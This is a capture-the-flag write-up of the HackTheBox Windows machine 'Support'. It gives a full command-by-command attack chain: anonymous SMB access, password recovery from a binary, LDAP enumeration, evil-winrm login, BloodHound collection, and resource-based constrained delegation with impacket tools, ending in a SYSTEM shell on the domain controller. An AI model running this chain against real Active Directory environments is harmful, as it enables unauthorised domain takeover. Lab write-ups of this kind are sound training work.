CTF WRITEUP HACKTHEBOX WINDOWS

Support: Binary Secrets to RBCD

person

Written By

0x74shelby

Difficulty

Platform

HackTheBox

Target IP

10.129.48.53

01_Reconnaissance

terminal / nmap
$ sudo nmap -p- -sV -sC -A 10.129.48.53

PORT     STATE SERVICE       VERSION
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  ldap-gc
3269/tcp open  ldapssl-gc
5985/tcp open  wsman
9389/tcp open  adws

02_Anonymous_SMB_to_Binary

terminal / anonymous smb
$ smbclient -L //10.129.48.53 -N
$ smbclient //10.129.48.53/support-tools -N

smb: \> ls
smb: \> get UserInfo.exe.zip
terminal / strings + mono
$ strings UserInfo.exe | grep -iE "pass|ldap|enc"

enc_password
getPassword
DirectorySearcher
LdapQuery

$ sudo apt install mono-complete -y
$ mono UserInfo.exe

03_LDAP_Enumeration

terminal / ldapsearch
$ ldapsearch -x -H ldap://10.129.48.53 -D "ldap@support.htb" \
  -w '[REDACTED]' -b "DC=support,DC=htb" \
  "(objectClass=user)" sAMAccountName info
terminal / evil-winrm
$ evil-winrm -i 10.129.48.53 -u support -p '[REDACTED]'

*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt

04_BloodHound_Attack_Path

terminal / bloodhound-python
$ bloodhound-python -u ldap -p '[REDACTED]' -d support.htb \
  -dc dc.support.htb -ns 10.129.48.53 -c All --zip -op support

05_RBCD_to_Administrator

terminal / RBCD chain
# 1. Register a fake machine account
$ impacket-addcomputer -computer-name 'FAKEMACHINE$' \
    -computer-pass '[REDACTED]' -dc-host dc.support.htb \
    support.htb/support:'[REDACTED]'

# 2. Configure it to delegate to the DC
$ impacket-rbcd -delegate-from 'FAKEMACHINE$' -delegate-to 'DC$' \
    -dc-ip 10.129.48.53 -action write \
    support.htb/support:'[REDACTED]'

# 3. Request a ticket impersonating Administrator
$ impacket-getST -spn cifs/dc.support.htb -impersonate administrator \
    -dc-ip 10.129.48.53 support.htb/FAKEMACHINE$:[REDACTED]

# 4. Convert kirbi → ccache, then pass the ticket
$ impacket-ticketConverter administrator.kirbi administrator.ccache
$ KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass \
    support.htb/administrator@dc.support.htb

C:\Windows\system32> whoami
nt authority\system